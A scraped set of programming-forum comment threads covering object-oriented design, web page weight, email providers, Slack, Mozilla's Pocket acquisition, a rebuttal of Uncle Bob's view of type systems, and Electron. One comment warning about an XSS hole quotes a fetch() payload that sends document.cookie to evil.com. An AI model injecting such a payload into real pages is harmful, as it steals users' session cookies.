1. 7

    I’ve seen quotes from Alan Kay where he says that his approach to objects (not classes) was like this. Each object is something you send messages to. Erlang processes are similar.

    This post has the right idea, though. It makes sense to adopt microservices only if you need the specific features you get from sticking network boundaries between things.

    1. 3

      You can try his kind of OOP if you want since it’s still maintained and extended.

      http://squeak.org

      Edit: Also supposedly easy to learn due to minimalist language and designed for kids.

      1. 3

        I think the problem with objects in most languages is with having shared mutable state when you pass around references to them. Erlang avoids this problem entirely.

        1. 3

          I’ve come to believe that state is just as problematic for services as it is for objects, and that, as with data in Clojure, immutability should be the default. The “black box” terminology around both classes and microservices tends to imply that state is an implementation detail and the consumer shouldn’t know or care. I don’t think that’s viable. Stateful services need to be called out as their own category of thing, or the state needs to be moved out of the services altogether.

          1. 3

            Clojure addresses this in a really nice way of ‘Identity’ and ‘state’, you can read about it here .

            https://clojure.org/about/state#_object_oriented_programming_oo

            1. 2

              Yup, very happy with the way this works in Clojure. I find that immutability as the default naturally leads to low coupling. I tend to treat each namespace as a small library that does a specific transformation of the data.

        1. 1

          I think a big part of this is how much of the 3MB is reusable after the first load. The main web app that I work on is about 2MB on initial load, but a combination of etagging, service workers, and other techniques means that subsequent loads are in the 2kb - 25kb range. Of course I always want initial page load to be better, but it’s certainly less of a concern when the cost is amortized over multiple uses of the site.

          1. 1

            The Chrome team has shown how on mobile devices the cost of parsing all of that JavaScript is non-trivial and that has to happen even on repeat visits. If mobile doesn’t matter in your use, then you’re absolutely right that it’s not a big deal!

            1. 1

              Laptops still have power constraints. A webpage should almost never cause any noticeable CPU load, but all too often they do. The author just had to add scroll animations or something.

          1. 1

            This reminds me of http://unsatisfying.tv

            1. 7

              If you want free SMTP and IMAP access, as well as unlimited storage and your own domain, take a look at Yandex Mail for Domain. https://domain.yandex.com/

              They even have API (e.g., for moving your domains between another provider). In addition to mail, you also get XMPP, too; and they have a bunch of apps in all the app stores.

              They’re obviously a yuge and profitable company — https://yandex.com/company/ — so, if you deploy this, it won’t be gone the next day (plus, using your own domain means you could switch in a jiffy). They also have free email support, unlike Google.

              1. 3

                Doesn’t Russia have even worse privacy protection than the US? Yandex is based on Moscow, and I can only imagine that any email the government feels like looking at, they probably can.

                1. 4

                  US certainly has strong free speech rights, but privacy?!

                  Besides, are you Russian? Do you even have any Russian connexions? If not, then for you the service may as well be as offshore as it gets.

                  1. 2

                    Yandex is based on Moscow, and I can only imagine that any email the government feels like looking at, they probably can.

                    The same applies in every first-world country, at least. Putin is much less likely to give a fuck about you or what you’re doing than your local rulers.

                1. 9

                  a huge amount of information that previously would’ve been in emails ends up in Slack, and only in Slack

                  I prefer this, because slack history doesn’t get misplaced like email does, and when a new person joins they have access to the history. Orgs could leverage google groups (or some mailing list archives) to get this same nicety, but I’ve never seen that happen in-practice.

                  I trawl Slack history on a weekly basis, while I quite regularly see emails fall through the cracks and become unreachable. Maybe I suck at email? I don’t know, but it’s a problem I have, and have seen others have.

                  As a remote worker, Slack (or something like it) is a bit of a lifeline for me. I do get plenty of alone time (hey, I’ve got an office with a door at home!), but an email feedback loop for everything would slow me and other people down incredibly, while also losing a sense of community.

                  Some of the hate seems to be from misuse. Can’t be safely ignored? Come on, just don’t read the entire backlog - mark as read and move on after your vacation. Sounds like a bad company culture or a control-freak personality negatively affecting this person. If there’s important stuff that happened while you were on vacation, your manager or colleagues should be able to catch you up or point out things to you.

                  Can it be a distraction? Sure. I think the benefits outweigh the costs. The days of distraction-free workplaces are over. Maybe I’m too young, but I’m honestly not sure if they ever really existed at this point - and I’ve been in the industry for 15 years. You need to find ways to carve out distraction-free time - it’s really not that much harder than blocking it off on your calendar I’ve found (and yes, stopping notifications. It can be done!)

                  Now there’s other points I can get onboard with - the lock-in, and increasingly silly level of integrations are a bother.

                  I really don’t like it for public communities because there’s no good moderation, usually lacking the history that I find valuable (most communities are on the ‘free’ 10k message backlog version it seems), and that’s where the proprietary thing really stinks because you’re at the whim of Slack’s goodwill. Several public communities have outgrown Slack’s free tier, and have had to expend wasteful effort to shift to other platforms (and there goes your community).

                  1. 3

                    I prefer this, because slack history doesn’t get misplaced like email does, and when a new person joins they have access to the history. Orgs could leverage google groups (or some mailing list archives) to get this same nicety, but I’ve never seen that happen in-practice.

                    I work with gecko at Khan Academy and we actually do use google groups extensively. I can’t imagine a new person getting much value from old Slack history.

                    Ideally, stuff that a new person needs would exist in some place other than email or Slack. A docs repository, an issue tracking system, etc.

                    1. 1

                      I neglected to mention that I often pin important stuff in slack. If it’s something that needs to stick around a long time, I would agree that Slack should not be the sole repository for that information.

                  1. 1

                    This reminds me a bit of Out of the Tar Pit, but without the functional programming aspect that they get to in that paper.

                    It also reminds me a bit of Eve which seems like a much more modern take on the idea.

                    1. 1

                      I haven’t watched the talk yet, but I plan to since I’ve found other talks by Greg Young to be interesting. What I got from the summary is that big(*), tightly coupled software is hard to work with and evolve. I work with a system that meets that description and I can agree. Microservices is one solution, but just constraining each individual bit of a monolith to not grow too large and be loosely coupled with the rest is another.

                      (*) He mentions 100,000 lines, but I’m guessing that he’s also talking about systems a bit smaller than that.

                      1. 1

                        He could have said, “Coupling Bad, Cohesion Good”, and walked off the stage? And we could all have nodded sagely and said, yes, we know.

                        I think, perhaps, he is on to the tail of something, but said it very badly.

                        Something about decomposing systems into processes and state might have been something he was on about. I’m not sure.

                        Sure I can delete any darn chunk of any system and rewrite it in a week… so long as I choose a small enough chunk.

                        So that isn’t quite what he means.

                        What defines a monolith? All in the same process? All on the same machine?

                        I remember one system I worked on was decomposed into a front end data collector and parser which fed a sql server which had a daemon herding it and was view / controlled by a graphical front end. Sounds exactly like what he was talking about, nice non-monolithic system. Except it displayed quite a lot of Connascence Coupling between the various components.

                        ie. Deleting any component and rewriting them would leave you in a world of pain as you slowly uncovered the various hidden couplings.

                        ie. I wouldn’t point my colleagues at Greg’s talk, I would point them at http://connascence.io/

                        But I still wonder if I’m missing something.

                        I wonder if he isn’t just setting things up for his next talk on event sourcing or something.

                      1. 6

                        This is really a shame. Mozilla invests tons of money in a company producing closed source software while there’s this free software alternative that has been well established against that quasi monopoly. They should support Wallabag instead of Pocket… sometimes I just don’t understand the Foundation’s decisions… (and i know they need money, but this seems like a decision contrary to their principles)…

                        1. 19

                          Pocket has a business model and larger audience. If they adopted Wallabag then they would be competing with Pocket, through acquisition they also get rid of their largest competitor. C'est la vie.

                          I too wish they supported OSS like Wallabag, but I likewise wish more OSS products had robust business models.

                          1. 7

                            Presumably Pocket will become licensed as Open Source?

                            I do agree with you here, though.

                            1. 25

                              https://bugzil.la/open-pocket

                              (I have nothing to do with any of this, even though I work at Mozilla)

                              1. 2

                                Super cool! :)

                              2. 2

                                Yes, that’s why I created an account yesterday and transitioned many of my open tabs into it.

                              3. 6

                                The Mozilla foundation is about OSS. Pocket will become OSS. Mark my words.

                                1. 6

                                  “Mozilla invests tons of money” – I haven’t seen any reports of how much Mozilla spent on the acquisition. The numbers may have worked out to be something reasonable for Mozilla, on a per-user basis. It really depends on the company’s trajectory and the investors' view of the company.

                                  Acquiring a service that has lots of users and some penetration on mobile devices might not be a bad investment. I guess we’ll know in a few years.

                                  1. 5

                                    A good way of describing Mozilla is “principled but pragmatic”. Basically, be principled, but not to such a degree that you shoot yourself in the foot in the process. A textbook example of this was the decision to adopt EME.

                                    I’m not very familiar with either Pocket or Wallabag, but I’d guess Pocket has better market penetration and recommendation algorithms which would support existing Mozilla initiatives like context graph.

                                  1. 7

                                    Your demo is vulnerable to XSS.

                                    If Math.max works, does alert(1) work? What about fetch('http://evil.com/?'+document.cookie)?

                                    Historically everyone trying to write a JavaScript sandbox without vulnerabilities failed. What’s your plan?

                                    1. 7

                                      Yes, this is more like a type=“eval” than anything else.

                                      1. 3

                                        My plan is not to hide behind any pretence of implementing it in a ‘more secure’ way at all! It is exactly what it looks like, and it should be very easy for people to read and understand :D

                                        1. 3

                                          I think a proper parser would be sufficient.

                                          1. 3

                                            Isn’t that “self-XSS”? The user themselves have to change the field… so, they presumably already have access to the page? (And if you’re changing via JS then you already have JS access to the page?)

                                            1. 3

                                              Come on guys!

                                              This is a proof-of-concept. Not a polyfill. Not a production-ready library. Sure it’s vulnerable to some attacks, but that’s because it’s an experiment (see the title: Dreaming of type=“calc”).

                                              If it were ever implemented in major browsers, it would not be a JS solution, and would be properly sandboxed. Can we get past all that and just discuss the pros/cons of having this feature in native HTML?

                                            1. 88

                                              Submitted because just about every opinion in it is wrong, but Martin is still influential so we’re going to see this parroted.

                                              1. 76

                                                Sadly yes. Most bizarre is that he seems to be directly contradicting some positions he’s held re:professionalism and “real engineering”.

                                                A sampler to save people having to read through the thing:

                                                If your answer is that our languages don’t prevent them, then I strongly suggest that you quit your job and never think about being a programmer again; because defects are never the fault of our languages. Defects are the fault of programmers. It is programmers who create defects – not languages.

                                                At some point, we agreed to stop using lead paint in our houses. Lead paint is perfectly harmless–defect-free, we might even say–until some silly person decides it’s paintchip-and-salsa o'clock or sands without a respirator, but even so we all figured that maaaaybe we could just remove that entire category of problem.

                                                My professional and hobbyist experience has taught me that it if a project requires a defect-free human being, it will probably be neither on-time nor under-budget. Engineering is about the art of the possible, and part of that is learning how to make allowances for sub-par engineers. Uncle Bob’s complaint, in that light, seems to suggest he doesn’t admit to realities of real-world engineering.

                                                You test that your system does not emit unexpected nulls. You test that your system handles nulls at it’s inputs. You test that every exception you can throw is caught somewhere.

                                                Bwahahahaha. The great lie of system testing, that you can test the unexpected. A suitably cynical outlook I’ve seen posited is that a well-tested system will still exhibit failures, but that they’ll be really fucking weird because they weren’t tested for (in turn, because they weren’t part of the mental model for the problem domain).

                                                We now have languages that are so constraining, and so over-specified, that you have to design the whole system up front before you can code any of it.

                                                Well, yes, that sort of up-front design is the difference between engineers and contractors.

                                                More seriously, while I don’t agree with the folks (and oh Lord there are folks!) who claim that elaborate type systems will save us from having to write tests, I do think that we can make tremendous advances in certain areas with these really constrained tools.

                                                It’s not as bad as having to up-front design “the whole system”. We can make meaningful strides at the layer of abstractions and system boundaries that we normally do, we can quickly stub in and rough in those things as we’ve always done, and still have something to show for it.

                                                I’ve discussed and disagreed at length with at least @swifthand about this, the degree to which up-front design is required for “Engineering” and the degree to which that is even desirable today–but something we both agree on is that these type systems do have a lot to offer in making life easier when used with some testing. That’s a probably a blog post for another day though.

                                                And so you will declare all your classes and all your functions open. You will never use exceptions. And you will get used to using lots and lots of ! characters to override the null checks and allow NPEs to rampage through your systems.

                                                And furthermore, frogs will fill the streets, locusts will devour the crops, the water will turn to blood and sulfur will rain from the sky! You know, the average day of a modern JS developer.

                                                More likely, you’ll start at the bottom, same as we’ve always done, and build little corners of your codebase that are as safe as possible, and only compromise in the middle and top levels of abstraction. A lot of people will write shitty unsafe code, but it’s gonna be a lot easier to check it automatically and say “Hey, @pushcx was drunk last night and made everything unsafe…maybe we shouldn’t merge this yet” than it is to read a bunch of tests and say “yep, sure, :shipit:”.

                                                ~

                                                In general, this kinda feels like Uncle Bob is starting to be the Bill O'Reilly of software development–and that makes me sad. :(

                                                1. 39

                                                  You test that your system does not emit unexpected nulls. You test that your system handles nulls at it’s inputs. You test that every exception you can throw is caught somewhere.

                                                  For some languages that step is called compiling.

                                                  1. 6

                                                    I’m generally not a fan of the “but types are tests”-argument, but you rightly call that out.

                                                    “Nullness” is something that can be modeled for the compiler to easily analyse, so I don’t understand why he calls that out. (especially as non-null is such a prevalent default case and most errors of not passing a value are accidents).

                                                    1. 3

                                                      I wish I could upvote this comment a thousand times. Concise, funny, but also brutally true. You nailed it.

                                                      1. 3

                                                        … plus a thorough type system lets the compiler make a whole bunch of optimizations which it might not otherwise be able to do.

                                                      2. 32

                                                        Thank you for the thorough debunking I didn’t have the heart for.

                                                        In general, this kinda feels like Uncle Bob is starting to be the Bill O'Reilly of software development–and that makes me sad. :(

                                                        Clean Code was a great, rightly influential book. But the farther we get from early 90s tools and understandings of programming, the less right Martin gets.

                                                        This post makes total sense if your understanding of types and interfaces is C++ and your understanding of safety is Java’s checked exceptions and both are circa 1995. I used them, they were terrible! But also great because they recognized a field of potential problems and attempted to solve them. Even if they weren’t the right solution (what first system is?), it takes years of experience with different experiments to find good solutions to entire classes of programming bugs.

                                                        This article attacks decent modern systems with criticisms that either applied to the problem 20 years ago or fundamentally misunderstand the problem. His entire case against middle layers of his system needing to explicitly list exceptions they allow to wander up the call chain is also a case in favor of global variables:

                                                        Defects are the fault of programmers. It is programmers who create defects – not languages.

                                                        Why prevent goto, pointer math, null? Why provide garbage collection, process separation, and data structures?

                                                        I guess that’s why this article’s getting such a strong negative reaction. The argument boils down Martin not understanding the benefits of features that are now really obvious to the majority of coders, then writing really high-flying moral language opposed to that understanding

                                                        It’s like if I opened a news site today to read an editorial about how not using restrictive seatbelts in cars is the only sane way to drive, and drivers who buckle their kids into car seats are monsters for deliberately crashing their cars. It’s so wrong I can barely figure out where the author started to hope explain the misunderstanding, but the braying moral condemnation demolishes my desire to engage. Martin’s really wrong, but he’s not working towards shared understanding so he’s only going to get responses from people who think that makes for a worthwhile conversation.

                                                        1. 5

                                                          Java’s checked exceptions and both are circa 1995. I used them, they were terrible!

                                                          Interestingly for me, I came from a scripting language background and hated java checked exceptions with a passion. Because they felt tedious. It seemed lame that a large part of my programming involved IDE generated lists of exceptions. As I got more experienced and started writing software that I really want to not crash, I started spending a lot of mental effort tracking down what exceptions could be thrown in python and making sure I caught them all. Relying on/hoping documentation was accurate. I began to yearn for checked exceptions.

                                                          Ironically it seems like in java land they’ve mostly gone the route of magic frameworks and unchecked exceptions. So things like person.getName() can be used easily without worrying about whether or not the underlying runtime generated bytecode is using a straightup property access or if this attribute is being lazily initialized.

                                                          It seems like one of the simplest ways to retain your sanity is to uncouple I/O from your values and operate on simple Collections of POJOS. This gets into the arena of FP and monads, which use language level features to force this decoupling.

                                                          1. 1

                                                            I also prefer the checked exception approach. Spent a lot of time with exceptions being thrown uncaught, got tired of it.

                                                          2. 1

                                                            Why prevent goto, pointer math, null? Why provide garbage collection, process separation, and data structures?

                                                            I would say that Go has show there is a middle ground somewhere between 100% type-proven safety, and unsafe yet efficient paradigms.

                                                            I’m pretty fond of Rust, or Haskell, but also enjoy less strict tools like JS or Ruby. Of course, I would rather like it if my auto-cruiser were written in Rust rather than Node, but one tool’s success does not mean the others are trash: I may be mistaken but if Martin’s point is “type-safety sucks”, it seems you are just saying “non-type-safety sucks more”. I’m not convinced by either arguments.

                                                            1. 6

                                                              My point was that the people had deliberate reasons for the features they included or removed. I’m repeatedly asking “why” because Martin’s article dismisses the creators' reasons with an argument about personal responsibility and by characterizing them as punishments. The arguments Martin makes against these particular features also apply broadly to features he takes for granted.

                                                              I was writing entirely on the meta level of flaws in the article, not trying to argue for a personal favorite blend of safety/power features.

                                                          3. 5

                                                            More seriously, while I don’t agree with the folks (and oh Lord there are folks!) who claim that elaborate type systems will save us from having to write tests, I do think that we can make tremendous advances in certain areas with these really constrained tools.

                                                            Yes. This. Exactly. Evolutionary language features AND engineering discipline. No need for either or, that’s just curmudgeonly.

                                                            1. 4

                                                              then I strongly suggest that you quit your job and never think about being a programmer again; because defects are never the fault of our languages. Defects are the fault of programmers. It is programmers who create defects – not languages.

                                                              Another argument to be made is productivity since he brought up a job. The productive programmers create maximum output in terms of correct software with minimum labor. That labor includes both time and mental effort. The things good, type systems catch are tedious things that take a lot of time to code or test for. They get scattered all throughout the codebase which adds effort if changing it in maintenance mode. Strong typing of data structures or interfaces vs manually managing all that will save time.

                                                              That means he’s essentially saying that developers using tools that boost their productivity should quit so less productive developers can take over. Doesn’t make a lot of business sense.

                                                              1. 4

                                                                Bwahahahaha. The great lie of system testing, that you can test the unexpected. A suitably cynical outlook I’ve seen posited is that a well-tested system will still exhibit failures, but that they’ll be really fucking weird because they weren’t tested for (in turn, because they weren’t part of the mental model for the problem domain).

                                                                I wrote this a couple weeks ago, but I figure it’s worth repeating in this thread. I wrote a prototype in Rust to determine if using conjunctive-normal form to evaluate boolean expressions could be faster than naive evaluation. I created an Expr data type that represents regular, user-entered expressions and CNFExpr which forces conjunctive-normal form at the type system level. In this way, when I finished writing my .to_cnf() method, I knew that the result was in the desired form, because otherwise the type system would have whined. Great! However, it did not guarantee that the resulting CNFExpr was semantically equivalent to the original expression, so I had to write tests to give myself more confidence that my conversion was correct.

                                                                Testing and typing are not antagonists, they’re just different tools for making better software, and it’s extremely unnerving that someone like Uncle Bob, who has the ear of thousands of programmers, would dismiss a tool as powerful as type systems and suggest that people who think they are useful find a different line of work.

                                                                1. 3

                                                                  Thanks for the summary. Seems The Clean Coder has employed some dirty tricks to block Safari’s Reader mode, making this nigh on unreadable on my phone.

                                                                  1. 4

                                                                    And furthermore, frogs will fill the streets, locusts will devour the crops, the water will turn to blood and sulfur will rain from the sky! You know, the average day of a modern JS developer.

                                                                    As a modern JS developer, I’ve started using Flow and TypeScript and have found that the streets have far fewer frogs now :)

                                                                  2. 2

                                                                    More like the Ann Coulter of programming in so much that it is increasingly clear that they spout skin-deep ridiculous lines of reasoning to trigger people so that they gets more publicity!

                                                                    Remember, when one retorts the troll has already won. Don’t feed the troll!

                                                                    ~

                                                                    A passing thought

                                                                    defects are never the fault of our languages. Defects are the fault of programmers. It is programmers who create defects – not languages.

                                                                    This brings to mind one of my Henry Baker’s taunting remark about our computing environments

                                                                    computer software are “cultural” objects–they are purely a product of man’s imagination, and may be changed as quickly as a man can change his mind. Could God be a better hacker than man?

                                                                    Has it not occurred to him that these languages come from programmers themselves? Of course it has. So sure, defaults are always the responsibility of people. Some are the fault of the application programmer; some are the fault of the people responsible for the language design. (And when one is knee deep writing some CRUD app whose technological choices are already set in stone, determining whose fault is it is of little use)

                                                                  3. 26

                                                                    The entire point of software is to do stuff that people used to do by hand. Why on earth should we spend boatloads of hours writing tests to prove things that can be proved in milliseconds by the type system? That’s what type systems are for. If we were clever enough to write all the right tests all the time, we’d be clever enough to just not introduce NPEs in the first case.

                                                                    1. 6

                                                                      I had the same reaction reading this. He’s off his rocker. The whole point of Swift being so strongly typed is that we’ve learned if the language does not enforce it, then it’s not a matter of if those bugs will happen but how often we will waste time dealing with them.

                                                                      The worst part to me is that right off the bat he recognizes these languages aren’t purely functional; implying that there is a big difference between a language that enforces functional programming and one that doesn’t. Of course there is, and the same thing goes for typing.

                                                                      1. 2

                                                                        He has just posted a follow up… http://blog.cleancoder.com/uncle-bob/2017/01/13/TypesAndTests.html

                                                                        Alas, he says this…

                                                                        Types do not specify behavior. Types are constraints placed, by the programmer, upon the textual elements of the program. Those constraints reduce the number of ways that different parts of the program text can refer to each other.

                                                                        No Bob, Types are a name you give for a bundle of behaviour. It’s up to you to ensure that the type you name has the behaviour you think it has.

                                                                        But whenever you refer to a type, the compiler ensures you will get something with that bundle of behaviour.

                                                                        What behaviour exactly? That’s the business of you to decide and tests to verify or illustrate.

                                                                        Whenever you loosen the type system…. you allow something that has almost, but not quite, the requested behaviour.

                                                                        In every case I have investigated “Too Strict Type System”, I have come away with the feeling the true problem is “Insufficiently Expressive Type System” or “Type System With Subtle Inconsistencies” or worse, “My design has connascent coupling, but for commercial reasons I’m going to lie to the compiler about it rather than explicitly make the modules dependent.”

                                                                        1. 1

                                                                          In which community is he influential, if I may ask? I’ve only learned of him through Lobsters.

                                                                          1. 4

                                                                            I know him as a standard name in the Agile and Ruby communities, I think he’s well-known in Java but am not close enough to it to judge.

                                                                            1. 3

                                                                              My college advisor loved talking about him and referencing him, but I think he’s mostly lost his influence with programmers today. At least, most people I know generally disagree with everything he’s written in the past decade.

                                                                            2. 1

                                                                              Such blatant refusal (“everything is wrong”) seasoned with mockery (“parroted”) is exactly what has been stopping me from writing posts on this very topic.

                                                                              1. 2

                                                                                Declaring that the responsibility for your inaction belongs to strangers leaps over impolite into outright manipulation. I pass.

                                                                            1. 7

                                                                              I do not like this electron fad.

                                                                              1. 7

                                                                                I had to make certain I had at least 16gb of RAM in all my future computers because of Electron/node-webkit-app-whatever. As it is, I’m using 12 gb just sitting here, no compiles.

                                                                                Culprits according to gnome-system-monitor sorted by memory? Chrome, Chrome, Chrome, Spotify, Chrome, Slack, Slack, Chrome, Chrome, Slack, Slack, Chrome, Chrome, Chrome (on and on for a whole page)

                                                                                1. 3

                                                                                  I hope it’s just a fad and that it dies off as soon as possible, but I think it’s unlikely that it will.

                                                                                  1. 1

                                                                                    It’s not going to die off. Javscript is eating the world, one chunk at a time.

                                                                                    I guess this means I should get off my butt and actually learn the silly language sometime soon. I’ve been doubling down on my Python mastery :)

                                                                                  2. 3

                                                                                    I’m generally in agreement, but this is one of the cases in which Electron is perfectly reasonable… The project is a web browser after all, so the weight of Chromium is not going to waste.